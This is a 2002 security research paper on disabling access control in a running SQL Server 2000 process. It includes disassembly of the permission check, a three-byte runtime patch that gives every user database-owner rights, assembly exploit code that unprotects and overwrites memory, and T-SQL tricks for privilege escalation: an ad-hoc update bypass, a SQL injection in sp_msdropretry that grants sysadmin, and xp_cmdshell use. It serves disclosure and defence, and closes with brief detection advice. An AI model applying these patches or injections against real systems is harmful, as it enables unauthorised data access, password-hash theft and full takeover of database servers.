Violating Database - Enforced Security Mechanisms

Runtime Patching Exploits in SQL Server 2000: a case study

Chris Anley [chris@ngssoftware.com]
18/06/2002

An NGSSoftware Insight Security Research (NISR) Publication

Table of Contents

[Abstract]

This paper discusses the feasibility of violating the access control, authentication and audit mechanisms of a running process in the Windows server operating systems. Specifically, it discusses the feasibility of totally disabling application - enforced access control in a running service, taking SQL Server 2000 as a sizeable and meaningful example. Topics relating to "runtime patching" exploits are discussed. A three-byte patch is provided that disables access control in SQL Server. Some miscellaneous SQL Server security issues are discussed.

[Introduction]

Most real - world "exploits" provide the attacker with some form of shell; this will be a remote connection to a command - line processor running on the target host. There are a number of ways in which the attacker can communicate with the shell running on the target host; TCP is the most common method, though UDP and even ICMP shell exploits have been widely discussed.

The reason most exploits provide a shell is that the shell provides the most flexible and powerful programming environment; most of the facilities of the host can be easily accessed - the file system, various trusted network connections and so on. The attacker will typically use the shell to attempt to leverage a greater level access to the resources of the host and the target network.

This paper discusses a situation in which the attacker wishes to subvert the security mechanisms of an application environment, rather than the operating system itself. This situation is common when attacking databases, for a number of reasons, though primarily because total control of the operating system does not confer the ability to easily retrieve and manipulate information in the database.

The technique discussed is to modify the code of the service/daemon in such a way that its access controls, auditing, or authentication mechanisms are disabled by manipulating the code of the process itself, as it is running.

The technique is not limited to databases, however; it is applicable to any network service that enforces a security model, such as source code repositories, network administration "helper" daemons, VPNs and similar systems.

[Reverse Engineering Background Material]

It is essential to understand the workings of the security mechanisms implemented by the database before attempting to change them. Since the source code is unavailable for most major DBMSs, this process requires a certain amount of security related reverse engineering.

Most published work on the topic of reverse engineering relates to the best way to remove "nag" screens from shareware, means of disabling the password protection on certain games and a variety of other techniques focussed on the general aim of (illegally) obtaining free software. Whilst this is at first sight unrelated to the problem of manipulating a DBMS, most of the techniques used are directly applicable.

A particularly useful set of essays [1] was written by "+ORC", on the general subject of DOS and Windows reverse engineering.

Halvar Flake gave an excellent presentation [2] on auditing Win32 binaries for security vulnerabilities that falls in the same general problem area.

Perhaps the most directly relevant paper is Greg Hoglund's excellent piece for Phrack magazine [3], which documents a 4-byte patch to the NT kernel that disables all access control. In fact, this paper should be considered a complement to Hoglund's paper that applies similar techniques to database systems rather than Windows NT; administrative access to NT does not necessarily confer administrative access to the database.

[Debugging Environment]

We assume the reader has access to the Microsoft Visual C++ 6.0 debugger, but any good Win32 debugger will do. It is important for the purpose of the demonstrations that the debugger is capable of catching C++ exceptions.

The debugger should be configured to stop when an exception of any kind occurs. In the MSVC debugger, this can be achieved by using the Debug/Exceptions menu, and setting all exception types to 'Stop Always'.

The easiest way to quickly run queries is to use the "SQL Query Analyzer" tool that is supplied with SQL Server 2000.

[Caveat]

The system under test was a fully patched instance of SQL Server 2000 running on a partially patched instance of Windows 2000 (Service pack 2). Some of the information in this paper - constants, code, addresses - may not apply to other environments.

[The Task At Hand]

Our aim is to find some way of disabling access control within the database, so that any attempt to read or write from any column of a table is successful.

Rather than attempting a static analysis of the entire SQL server codebase, a little debugging up - front will probably point us in the right direction.

First, we need some query that will exercise the security routines in the manner we want. The query

```
select password from sysxlogins
```

…will fail if the user is not a sysadmin.

So, we start Query Analyzer and our debugger (MSVC++ 6.0), and run the query, as a low - privileged user.

A "Microsoft Visual C++ Exception" occurs. Dismissing the exception message box, we hit Debug/Go again, and let SQL Server handle the exception. Turning back to Query Analyzer, we see an error message:

```
SELECT permission denied on object 'sysxlogins', database 'master',
owner 'dbo'.
```

In a spirit of curiosity, we try running the query as the 'sa' user. No exception occurs. Clearly, the access control mechanism triggers a C++ exception when access is denied to a table. We can use this to greatly simplify our reverse - engineering process.

The technique we use now is to trace through the code, attempting to find the point where the code decides whether or not to raise the exception. This is a trial and error process, but after a few false starts we find this:

```
00416453 E8 03 FE 00 00       call        FHasObjPermissions (0042625b)
```

… which, if we do not have permissions, results in this:

```
00613D85 E8 AF 85 E5 FF       call        ex_raise (0046c339)
```

(it is worth pointing out that we have symbols because they are provided by Microsoft in the file sqlservr.pdb; this is a rare luxury!)

Clearly the FHasObjPermissions function is relevant. Examining it, we see:

```
004262BB E8 94 D7 FE FF       call        ExecutionContext::Uid
(00413a54)
004262C0 66 3D 01 00          cmp         ax,offset
FHasObjPermissions+0B7h (004262c2)
004262C4 0F 85 AC 0C 1F 00    jne         FHasObjPermissions+0C7h
(00616f76)
```

This equates to:
Get the UID.
Compare the UID to 0x0001.
If it isn't 0x0001, jump (after some other checks) to the exception generating code.

This implies that UID 1 has a special meaning. Examining the sysusers table with:

```
select * from sysusers
```

…we see that UID 1 is 'dbo', the database owner. Consulting the SQL Server books online, we see that:

The **dbo** is a user that has implied permissions to perform all activities in the database. Any member of the **sysadmin** fixed server role who uses a database is mapped to the special user inside each database called **dbo**. Also, any object created by any member of the **sysadmin** fixed server role belongs to **dbo** automatically.

Clearly, we want to be UID 1. Conveniently, this seems like the sort of thing that might be easy to do in a small assembler patch.

Examining the code for ExecutionContext::UID, we find that the "default" code path is straightforward:

```
?Uid@ExecutionContext@@QAEFXZ:
00413A54 56                   push        esi
00413A55 8B F1                mov         esi,ecx
00413A57 8B 06                mov         eax,dword ptr [esi]
00413A59 8B 40 48             mov         eax,dword ptr [eax+48h]
00413A5C 85 C0                test        eax,eax
00413A5E 0F 84 6E 59 24 00    je          ExecutionContext::Uid+0Ch
(006593d2)
00413A64 8B 0D 70 2B A0 00    mov         ecx,dword ptr [__tls_index
(00a02b70)]
00413A6A 64 8B 15 2C 00 00 00 mov         edx,dword ptr fs:[2Ch]
00413A71 8B 0C 8A             mov         ecx,dword ptr [edx+ecx*4]
00413A74 39 71 08             cmp         dword ptr [ecx+8],esi
00413A77 0F 85 5B 59 24 00    jne         ExecutionContext::Uid+2Ah
(006593d8)
00413A7D F6 40 06 01          test        byte ptr [eax+6],1
00413A81 74 1A                je          ExecutionContext::Uid+3Bh
(00413a9d)
00413A83 8B 06                mov         eax,dword ptr [esi]
00413A85 8B 40 48             mov         eax,dword ptr [eax+48h]
00413A88 F6 40 06 01          test        byte ptr [eax+6],1
00413A8C 0F 84 6A 59 24 00    je          ExecutionContext::Uid+63h
(006593fc)
00413A92 8B 06                mov         eax,dword ptr [esi]
00413A94 8B 40 48             mov         eax,dword ptr [eax+48h]
00413A97 66 8B 40 02          mov         ax,word ptr [eax+2]
00413A9B 5E                   pop         esi
00413A9C C3                   ret
```

The point of interest here is the line

```
00413A97 66 8B 40 02          mov         ax,word ptr [eax+2]
```

… since it is the part that's assigning to AX; our magic "UID" code.

To recap, we have found in FHasObjPermissions some code that calls the function ExecutionContext::UID, and appears to give special access to the hardcoded UID 1.

We can easily patch this code so that every user has UID 1 by replacing:

```
00413A97 66 8B 40 02          mov         ax,word ptr [eax+2]
```

…with:

```
00413A97 66 B8 01 00          mov         ax,offset
ExecutionContext::Uid+85h (00413a99)
```

…which is effectively mov ax, 1.

Testing the effectiveness of this, we find that any user can now run

```
select password from sysxlogins
```

…which at the very least gives everyone access to the password hashes, and thereby (via a password cracking process) access to the passwords for all the accounts in the database.

Testing access to other tables, we find that we can now select, insert, update and delete from any table in the database as any user. This has been achieved by patching three bytes of SQL Server code.

[Remaining Problems]

Although all users can now modify all tables, we still have a problem calling stored procedures and certain built - in commands as low - privileged users. For example, an attempt to call

```
xp_cmdshell 'dir'
```

…results in this error message:

```
Msg 50001, Level 1, State 50001
xpsql.cpp: Error 997 from GetProxyAccount on line 472
```

Clearly there is some other access check we have missed, or perhaps something more complex. Still, group membership is determined by the values stored in tables, so we should be able to just modify our group membership. This function is normally carried out by the sp_addsrvrolemember system stored procedure.

Examining the source code for sp_addsrvrolemember we see this:

```
   -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
            WHEN 'sysadmin'         THEN 16
            WHEN 'securityadmin'    THEN 32
            WHEN 'serveradmin'      THEN 64
            WHEN 'setupadmin'       THEN 128
            WHEN 'processadmin'     THEN 256
            WHEN 'diskadmin'        THEN 512
            WHEN 'dbcreator'        THEN 1024
                  WHEN 'bulkadmin'        THEN 4096
            ELSE NULL END
```

…and this:

```
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit, xdate2 =
getdate()
    where name = @loginame and srvid IS NULL
```

So clearly, to make ourselves members of the sysadmin role, we run this query:

```
update master.dbo.sysxlogins set xstatus = xstatus | 16 where
name='low_priv'
```

Unfortunately, when we attempt this, we get this error message:

```
Server: Msg 259, Level 16, State 2, Line 1
Ad hoc updates to system catalogs are not enabled. The system
administrator must reconfigure SQL Server to allow this.
```

Interesting. The sp_addsrvrolemember system stored procedure is able to update sysxlogins, but we are not, apparently since we are running an 'ad-hoc' query. Presumably, if we update the table via a stored procedure, it will work.
Since by default everyone can run sp_sqlexec, we run:

```
sp_sqlexec 'update master.dbo.sysxlogins set xstatus = xstatus | 16
where name=''low_priv'''
```

We get the same, ad-hoc updates forbidden error message as above. In a fit of optimism, we try this:

```
sp_sqlexec 'update master.dbo.sysxlogins set xstatus = 18 where
name=''low_priv'''
```

…which works. If we check sysxlogins, we find that low_priv has an xstatus of 18, signifying membership of the public and sysadmin server roles. Presumably this is due to some input validation error in the code that attempts to enforce the ad-hoc updates rule.

Another way around the ad-hoc updates restriction is to take advantage of a SQL Injection bug in sp_msdropretry:

```
sp_msdropretry [foo update master.dbo.sysxlogins set xstatus=18 where
name='low_priv'], [bar]
```

This has the same effect as the sp_sqlexec code above.

So now that we are a sysadmin, we find that:

```
xp_cmdshell 'dir'
```

…runs with no error, as do all the other sysadmin - type behaviours. We can now re-patch the code to return the behaviour to normal, if we wish.

[Implementing An Exploit]

Now that we have a clear understanding of our patch, we need to create an exploit that carries out the patch without incurring an error. A number of arbitrary - code overflows and format string bugs are known in SQL Server; this paper will not go into the specifics of those issues. There are a few problems related to writing this kind of exploit that bear discussion, however.

First, the exploit code cannot simply overwrite the code in memory. Windows NT has the ability to apply access controls to pages in memory, and code pages are typically marked as PAGE_EXECUTE_READ, and an attempt to modify the code results in an access violation.

This is easily resolved using the VirtualProtect function:

ret = VirtualProtect(address, num_bytes_to_change, PAGE_EXECUTE_READWRITE, &old_protection_value);

The exploit simply calls VirtualProtect to mark the page as writeable, and then overwrites the bytes in memory.

If the bytes that we are patching reside in a DLL, they may be relocated in memory in a dynamic fashion. Similarly, different patch levels of SQL Server will move the patch target around, so the exploit code should attempt to find the bytes in memory, rather than just patching an absolute address.

Here is an example exploit that does roughly what has been described above, with hardcoded addresses for Win2k Service pack 2. This is deplorably basic, and intended for demonstration purposes only:

```
            mov ecx, 0xc35e0240
            mov edx, 0x8b664840
            mov eax, 0x00400000
next:
            cmp eax, 0x00600000
            je end
            inc eax
            cmp dword ptr[eax], edx
            je found
            jmp next
found:
            cmp dword ptr[eax + 4], ecx
            je foundboth
            jmp next
foundboth:
            mov ebx,eax             ; save eax
                                    ; (virtualprotect then write)
            push esp
            push 0x40               ; PAGE_EXECUTE_READWRITE
            push 8                  ; number of bytes to unprotect
            push eax                ; start address to unprotect
            mov eax, 0x77e8a6ec     ; address of VirtualProtect
            call eax
            mov eax, ebx            ; get the address back
            mov dword ptr[eax],0xb8664840
            mov dword ptr[eax+4],0xc35e0001
end:
            xor eax, eax
            call eax    ; SQL Server handles the exception with
                        ; no problem so we don't need to worry
                        ; about continuation of execution!
```

Larger patches need to be carefully implemented because of the possibility of other threads running the code while we are trying to patch it. These problems can generally be resolved by inserting 'guard' instructions like this:

```
start:
      nop
      jmp start
```

...at the start of the patch code, or by placing the malicious code in some unused area of memory and then writing a single "highwayman" jmp instruction as the final patching action.

[We Had It Easy]

Preparation of this patch has been made significantly easier by the fact that SQL Server uses C++ exceptions to signal access failure, and by the debug symbols that are provided for the executable. However, even if we had just the disassembled code to look at, it would still be straightforward:

- Find a query that exhibits an "Access Denied" for a low privileged user, and "Access Granted" for the administrator.
- Trace the execution of both of these queries, noting where they diverge (the jne instruction in FHasObjPermissions). This may take a while.
- Work back from the point of divergence to the reason for that divergence.
- Correct the reason for the divergence.
- Test the patch. Potentially start again.

[Defences]

The important thing to bear in mind when attempting to defend against this kind of exploit is that it is the security - relevant code that is being targeted. In this case, any audit information provided by SQL Server is useless, since it might have been patched to ignore certain actions, or actions by certain users.

First, this kind of exploit cannot work without an initial vector; some buffer overflow, format string bug or similar is necessary. Unfortunately, history shows that it is hard to rid a large and dynamic codebase of arbitrary - code security problems.

Second, the specific modification in the behaviour of the process could be detected by means of scripted external actions. In the case described in this paper, an attempt by a low - privileged user to run

```
select password from sysxlogins
```

…should always fail. This sort of 'validation' script has some value, in terms of a belt-and-braces approach to security, though it can be expensive to implement. More importantly, it relies on information supplied by SQL Server, which cannot be trusted. In practical terms, however, this approach is likely to succeed in detecting a patch, given a sufficiently intelligent 'validation' script.

[Conclusions]

Patching the security - relevant code of running processes is an effective and subtle technique for leveraging greater access to a system; exploits of this kind

- Do not require permission to execute a process or open a file
- Make no change to the filesystem of the target host
- Create no additional network traffic
- Disappear without a trace when the target process is restarted

…and yet still provide total control of the application under attack.

Although database systems are the obvious target for this kind of attack, there are other "useful" targets; web servers (allowing everyone "put" to everywhere), VPN systems, SSH - type systems and many others.

[References]

[1] The collected works of +ORC. The best way of obtaining these is to search for +ORC and "reverse engineering"
Some of the web sites this search turns up may be somewhat dangerous; please take care when browsing them (i.e., ensure your browser is fully patched). +ORC has much to say on the subject of the manual static analysis of Win32 assembler, which directly relates to the subject of this paper. He also makes many cogent points relating to the correct preparation of Martini-Wodka.

[2] Halvar Flake's presentation on auditing Win32 binaries for vulnerabilities (apologies for wrapped URL):
http://www.blackhat.com/presentations/bh-usa-01/HalvarFlake/bh-usa-01-Halvar-Flake.PPT

[3] "A *REAL* NT Rootkit, patching the NT Kernel" Greg Hoglund's 4 - byte patch:
http://www.phrack.com/show.php?p=55&a=5